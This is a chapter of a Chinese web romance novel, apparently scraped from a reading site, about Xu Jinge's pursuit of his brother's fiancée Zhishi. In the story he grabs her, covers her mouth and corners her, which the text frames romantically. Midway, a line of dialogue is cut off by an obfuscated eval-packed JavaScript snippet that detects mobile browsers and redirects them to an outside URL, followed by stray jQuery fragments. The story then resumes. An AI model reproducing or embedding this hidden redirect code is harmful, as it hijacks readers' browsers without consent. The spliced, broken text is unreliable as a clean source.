“为什么？”
知时问道。
徐谨戈回国后虽然很少公开露面，但在江城，关于他的新闻报道不计其数。
传言某个女明星曾在一个商务性质的酒会上公开向他抛过橄榄枝，但是被无情拒绝了。
干脆、冷绝、不留一丝情面和转圜的余地.
成功给外界留下一个难以相与的印象。
知时并不认为自己具有令徐谨戈折服的魅力
更加没有值得他利用的价值。
窗外的冷风，依旧在不停地拍打着玻璃窗，发出“呼呼”的声响。
可车厢里暖意融融，一丝凉气都没有渗进来。
徐谨戈伸手，将后座上那些吃完的餐盒和包装袋，一一收拾好。
他的侧脸很白，是介于冷白和惨白之间的颜色，透着一股疏离的冷意。
他沉默了很久，久到知时以为他不会回答了。
他忽然转过头，目光直直地撞进她的眼底。
“我喜欢你，知时小姐。”
这是他今晚，第一次，认认真真地，念出她的名字。
他的声线有些干涩，像是被人揉成一团，又重新展开的A4纸。
即便费力地抹平了褶皱，那些深刻的痕迹，也依旧清晰可见。
知时瞳孔骤缩，惊惶抬眼：“你……你说什么！？”
他们不过一面之缘。
徐谨戈轻叹一声：“不好意思，开个玩笑。”
他怎么可能喜欢徐锦山的女人。
知时不喜欢这种玩笑，冷冷地责怪道：“一点都不好笑。”
说罢，她拎起高跟鞋和帆布包，抱着层层叠叠的裙摆，打开副驾驶的车门：“谢谢你送我回来。”
午夜的钟声，仿佛就在此刻敲响。
灰姑娘终于脱下了水晶鞋，没有丝毫留恋地，离开了那辆不属于她的南瓜马车。
徐谨戈坐在车里，看着她快步走进楼道的背影。
直到那扇门关上，才缓缓伸手，拉上了副驾驶的车门。
他没有着急发动车子，只是趴在方向盘上，静静地休息了一会儿。
直到楼上那扇窗户里的灯，亮了又灭。
手机叮了一声，徐谨戈顺手划开屏幕。
是一个陌生号码发来的短信。
【大哥，谢谢你今天来参加我的订婚宴，我好开心。】
徐谨戈刚准备删掉信息，拉黑号码，第二条短信又跳了出来。
【大哥，有时间记得回家吃饭，我们都很想你。】
徐谨戈盯着屏幕看了一会，把手机收了起来。
他直起身，拆开了那份知时没吃完的小面。
一次性的塑料盖上，凝结了一层细密的水珠。
有几滴，顺着盖子的边缘，滴落到了剩下的面条里。
面条已经冷了，硬邦邦的，失去了原本的筋道口感。
徐谨戈重新拿了一双筷子，几下将那些冷硬的面条搅散，然后大口大口地吃了起来。
咸涩的味道在口腔里弥漫开来。
他却像是毫无知觉一般，依旧不停地往嘴里塞着。
直到胃里被填得满满当当，徐谨戈才后知后觉地意识到，自己刚刚做了什么。
他向自己的弟妹，求婚了。
很没道德，但很爽。
—
周五。
知时和几个关系要好的同事相约，去打卡一家名声在外的网红餐厅。
上车后，几人热热闹闹地讨论着这家店。
“环境可好了，而且每天都限量接待，我提前一个月预定的呢。”
“味道怎么样呀？”
“......我也没吃过，不过无所谓啦，拍照出片就行。”
为了这家餐厅，即便是工作日，几个女生还是特意精心打扮了一番。
坐在知时旁边的小雯掏出便携化妆包，轻声道：“知时姐，帮我举下镜子，我补个妆。”
说着，直接把镜子塞到了知时手里。
很快便抵达目的地。
餐厅坐落在市中心，独门独院，闹中取静。
门口负责接待的服务生将她们引至预定好的座位。
橙色暖光漫过整间屋子，绿植与金属线条撞出温柔的质感，安静又舒服。
等菜的间隙，知时起身去了洗手间。
这家餐厅的洗手间藏得十分隐蔽，知时按着惯性往安全出口的方向找，走到最里头也没看见。
一位穿着浅蓝色制服的服务生注意到她，上前笑着问道：“你好，是找洗手间吗？”
知时有些不好意思地点点头。
“请跟我来。”服务生边走边解释：“很多第一次来的客人都找不到，当初做设计图的时候我们老板坚持要把卫生间单独分隔出来。”
“到了，就是这。”
知时和服务生道谢，走进去。
白色的陶瓷台面摆着几盆开得正好的兰花。
碧叶垂落，花箭亭亭。
花瓣是极淡的玉色，花蕊嫩黄，不艳不烈。
香气清浅干净，混着室内微凉的水汽，清润得让人一呼一吸间都跟着静了下来。
知时洗了手，从包里摸出口红，照着镜子浅浅抹了一层。
温柔的豆沙色，素颜涂也不会突兀，反而衬得她气色更好。
知时看着镜子里的人，心里很满意。
收起口红，抬头的瞬间。
面前的化妆镜里飞快闪过一张年轻男人的脸。
眉骨锋利，黑眸沉沉。
知时心头猛地一跳，几乎是条件反射地转身。
身后空无一人，只有两个结伴而来的小女孩挽着手，低声说笑走过。
知时往脸上拍了两捧冷水，冰凉的触感让她稍稍回神。
真是眼花了。
就算真有人，也绝不可能是他。
擦干手，手机震了震，是同事发来的消息，催她快些回去。
知时指尖微顿，回了两个字：马上。
刚拐进走廊，身侧一扇门毫无预兆地被推开。
一只骨节分明的手猛地伸出来，将她整个人拽了进去。
“唔——”
呼救被死死堵在喉间。
一道清冽又暗哑的声音贴在耳畔响起，“别喊，是我。”
熟悉的声线让知时浑身一僵。
男人手掌宽大，牢牢捂着她的嘴，薄荷气息混着体温涌来。
徐谨戈的呼吸轻拂过她耳尖：“我松手，你别叫。”
知时点了点头。
徐谨戈松开手。
她立刻后退一步，拉开距离，警惕地望着他。
“你的口红掉了。”
徐谨戈摊开掌心，一支豆沙色口红静静躺在上面，旁边还印着两道凌乱的唇印。
知时又羞又恼，狠狠瞪他：“你怎么在这？”
徐谨戈眉梢微挑：“这家餐厅我不能来？”
知时深吸一口气，压着发颤的声音：“大哥，你是锦山的大哥，我一直对你留着分寸。”
“若是不留，”徐谨戈语气散漫，“你想如何？”
他抓起她的手腕，轻轻按在自己脸颊旁：“打我一耳光？”
“放开我！”知时用力挣扎，力量差距悬殊，根本挣不脱，“不然我喊人了！”
徐谨戈果真松了手，却半步不退，将她堵在墙角，退路封得死死的：“和徐锦山约会？”
“不是……”
知时这才看清，这里是一间堆放调料的储藏室。
没有开灯，仅有窗外渗入的微弱月光。
徐谨戈微微俯身，半边脸隐在阴影里，棱角愈发锋利。
他忽然往前一步。
知时心脏狂跳，下意识后退，身后却已是冰冷墙壁，退无可退。“大哥，我和同事一起来的，她们还在外面等我。”
他靠得太近，温热的呼吸拂在脸上，带着清冽的气息，逼得她浑身紧绷。
徐谨戈低低笑了一声，那笑声落进耳尖，又麻又痒：“你讨厌我？”
知时躲不开他的气息，只能偏过头。
这个动作，彻底将白皙柔嫩的脖颈暴露在徐谨戈面前。
原本整齐柔和的唇线微微晕染，豆沙色在唇角漫开一小片浅淡的红。
慌乱狼狈，像刚刚结束一场激烈的亲吻。
徐谨戈眸光暗了暗，伸出手，慢条斯理地替她抚平被扯乱的衣摆。
“去玩吧，单我买过了。”
知时立刻拒绝：“不用，我们AA……”
徐谨戈轻轻挑开她额前被水汽打湿的碎发，语气轻描淡写，“这么乖，以后怎么玩的过董珊珊啊。”
等知时重新回到餐厅，同事立刻凑上来，语气带着担心：“怎么去这么久？我们都打算去找你了。”
知时垂着眼，掩去眼底的慌乱，轻声道：“没事，接了个电话。”
这家网红餐厅味道确实不错，菜色精致得像艺术品。
服务员每上一道菜，身边的同事就迫不及待拍照打卡，叽叽喳喳地讨论。
知时却没什么胃口，沉默地戳着碟子里的烧椒牛肉。
在同事注意到之前，她不动声色地拉了拉长袖，轻轻盖住手腕上那一圈淡淡的红痕。
一顿饭，她吃得心不在焉。
散场时，几人一起走到前台买单，却被服务员笑着告知：已经有人结过账了。
“是谁呀？”同事们好奇追问。
服务员看着知时，笑眯眯地说，“一位姓徐的先生，他还说今天有事，下次有机会再请各位吃饭。”
“哇哦——”
几道目光齐刷刷落在知时身上，带着心照不宣的打趣，“是谁呀！知时，记得帮我们谢谢他！”
“一个老同学。”
知时说完对上服务员真诚友好的目光，又莫名有些心虚。
出了餐厅，因为回家的方向不一致，几人各自打车回去。
同事都走了，知时打的车却迟迟未来。
知时站在门口等了一会，只等到司机让她取消订单的电话。
“不好意思啊，我儿子突然发烧，我得赶紧回去，麻烦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469630|201407||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你取消一下订单。”
既然是情有可原，知时没有计较，挂掉电话，取消订单。
网红餐厅为了烘托氛围感，院子里的灯光极暗，绿植上缠绕的橘色灯串形同摆设。
知时看着手机，一个不注意，踩空了一级台阶。
脚腕传来一阵剧痛，知时咬着牙，一瘸一拐走到了旁边的长椅上。
面前微弱的光影突然被挡住，知时抬起头，又是徐谨戈。
“你怎么还没走？”
徐谨戈屈膝，在她面前蹲下，“等你。”
受伤的脚踝忽然被握住。
徐谨戈轻轻托起她的脚腕，搁在自己膝头，垂眸仔细查看。
已经红了，还微微发肿。
察觉到徐谨戈举止不妥，知时身子下意识后退，唤了一声，“大哥。”
徐谨戈抬头，看向忐忑不安的人，随即笑道，“在呢。”
“怎么不多穿点？”
徐谨戈用双手裹住她纤细的脚腕，睫毛垂下，将眼底的情绪遮得严严实实，“不怕老了落下老寒腿？”
说罢，他脱下外套，盖到知时腿上。
入冬后，公司暖气给的足。
知时今天只穿了一条薄打底，在室内还好，出了门就明显不够用。
徐谨戈的外套不知道是什么材质。
不重，但很暖和。
知时的脚踝还握在他手中，指腹微凉，力道却恰到好处。
就算是亲大哥，到了这个年纪，也不该这样握着妹妹的脚。
可偏偏是徐谨戈这个隔了几层的“假大哥”，照顾起她来，是这般理所当然。
徐谨戈，“我先送你去医院拿药，再回去添件衣服。”
知时本想拒绝，可撞上他沉下来的目光，到了嘴边的话又默默咽了回去。“好吧，谢谢大哥。”
去医院拍了片，万幸只是轻微扭伤，休养几天便能痊愈。
医生开了很多药，内服的，外贴的，装了满满一袋。
徐谨戈将知时扶上车，并没着急走。
而是拿出一只中性水笔，在每一种药盒上写上吃药的时间和数量。
灯光落在他侧脸，线条利落，神情专注。
知时攥紧手指，又松开，反复几次，才轻声开口：“今天谢谢你。”
徐谨戈从后视镜里扫到她那张素白紧张的脸，眼底藏着笑意：“你准备怎么谢我？”
知时小声：“……请你吃饭，可以吗？”
徐谨戈低笑一声，声音低沉磁性：“你觉得，我缺一顿饭？”
知时知道他不缺，但她能给他的报答仅限于此。
早知道这样，刚刚疼死也不会上他的车。
知时抿着唇，在心里思考着。
徐谨戈写完最后一种药的吃法后，把药盒整理好，重新装回袋子，说道：“行，那就吃饭，时间地点我定。”
知时松了一口气：“好的。”
黑色奥迪启动，驶入无边夜色。
道路车辆稀少，但徐谨戈开得很慢。
密闭的车厢，知时敏锐的嗅到了一丝百合花香，非常浅，特别淡，但还是被她捕捉到了。
徐谨戈看着后视镜里那张素白的脸，说：“不用怕我。”
知时回答的很快：“没，没有。”
徐谨戈默了片刻，语气冷淡：“我对徐锦山的东西没有兴趣，你不用一副我会对你怎么样的样子。”
这话说的太不客气，知时很想骂他一顿，可惜脚还痛着，人也还在他车上。
只能作罢。
终于到了，知时呼出一口气，解开安全带，“我到了。”
知时打开车门，下车。
她的位置距离单元门只有十几步路。
在医院的时候，医生给她喷了消炎止痛的药，现在药效上来，痛感稍减。
她走的很慢，很稳。
身后响起车门合上的声音，和急促的脚步声。
不等知时回头，一只手已经扣住她的肩膀，另一只手托住她的小腿，将她整个人打横抱起。
徐谨戈的声音贴着耳边响起，“好人做到底，我送你上去。”
知时住在五楼，没有电梯。
老式小区的楼梯又窄又旧，环境也算不上干净。
徐谨戈的衣摆好几次蹭上积灰的扶手，留下几道清晰的痕迹。
可他步伐稳如磐石，手臂结实有力。
到了五楼。
徐谨戈将她放下来。
知时很认真的和他道谢，“大哥，我到家了，今天谢谢你。”
徐谨戈看着她，那双黑色的眼睛几乎要和夜色融为一体，深不见底。
知时不敢再多看，慢慢关上了门。
楼道的声控灯坏了，门缝里溢出一点暖黄的光亮。
很快，又彻底消失。
徐谨戈站在紧闭的门前，指尖还残留着她脚腕细腻的触感。
细细的，软软的。
稍稍一用力，仿佛就能融入血肉。
徐谨戈缓缓闭上眼，喉结轻轻滚动了一下。